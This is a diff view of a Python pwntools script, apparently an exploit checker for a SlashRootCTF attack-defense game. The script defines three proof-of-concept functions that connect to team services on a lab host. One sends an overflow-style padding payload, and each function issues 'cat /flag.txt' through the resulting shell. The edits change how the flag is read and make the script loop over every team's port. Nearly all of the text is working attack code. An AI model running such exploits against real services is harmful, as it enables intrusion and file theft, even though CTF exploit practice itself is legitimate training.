| 
				
				
					
						
					
				
				
				 | 
			
			 | 
			
			@ -2,7 +2,7 @@ | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			from pwn import process, remote | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			
 | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			HOST = "192.168.2.20" | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			TOTAL_TEAMS = 10 | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			TOTAL_TEAMS = 1 | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			FORMAT = "SlashRootCTF" | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			
 | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			
 | 
			
		
		
	
	
		
			
				| 
				
				
				
					
						
					
				
				 | 
			
			 | 
			
			@ -15,7 +15,9 @@ def poc0(host, port): | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			    p = remote(host, port) | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			    p.recvuntil(">") | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			    p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01")) | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			    if "young" in p.recvuntil(">"): | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			    msg = p.recvuntil(">") | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			    # print(msg) | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			    if "young" in msg: | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        p.sendline("y") | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        p.recvuntil(">") | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        p.sendline("2") | 
			
		
		
	
	
		
			
				| 
				
				
				
					
						
					
				
				 | 
			
			 | 
			
			@ -27,7 +29,8 @@ def poc0(host, port): | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			            p.recvuntil(">") | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			            p.sendline("99") | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        p.sendline("cat /flag.txt") | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        flag = p.recv(46) | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        flag = p.recvuntil("}") | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        # print flag | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        if FORMAT in flag: | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			            return True | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        else: | 
			
		
		
	
	
		
			
				| 
				
					
						
					
				
				
					
						
					
				
				
				 | 
			
			 | 
			
			@ -60,7 +63,7 @@ def poc1(host, port): | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        p.recvuntil(">") | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        p.sendline("99") | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			    p.sendline("cat /flag.txt") | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			    flag = p.recv(46) | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			    flag = p.recvuntil("}") | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			    if FORMAT in flag: | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        return True | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			    else: | 
			
		
		
	
	
		
			
				| 
				
				
				
					
						
					
				
				 | 
			
			 | 
			
			@ -85,7 +88,7 @@ def poc2(host, port): | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			            p.recvuntil(">") | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			            p.sendline("99") | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        p.sendline("cat /flag.txt") | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        flag = p.recv(46) | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        flag = p.recvuntil("}") | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        if FORMAT in flag: | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			            return True | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        else: | 
			
		
		
	
	
		
			
				| 
				
				
				
					
						
					
				
				 | 
			
			 | 
			
			@ -95,7 +98,7 @@ def poc2(host, port): | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			
 | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			
 | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			if __name__ == "__main__": | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			    for i in range(1): | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			    for i in range(1, TOTAL_TEAMS+1): | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        print poc0(HOST, (60004 + (i*100))) | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        print poc1(HOST, (60004 + (i*100))) | 
			
		
		
	
		
			
			 | 
			 | 
			
			 | 
			
			        print poc2(HOST, (60004 + (i*100))) |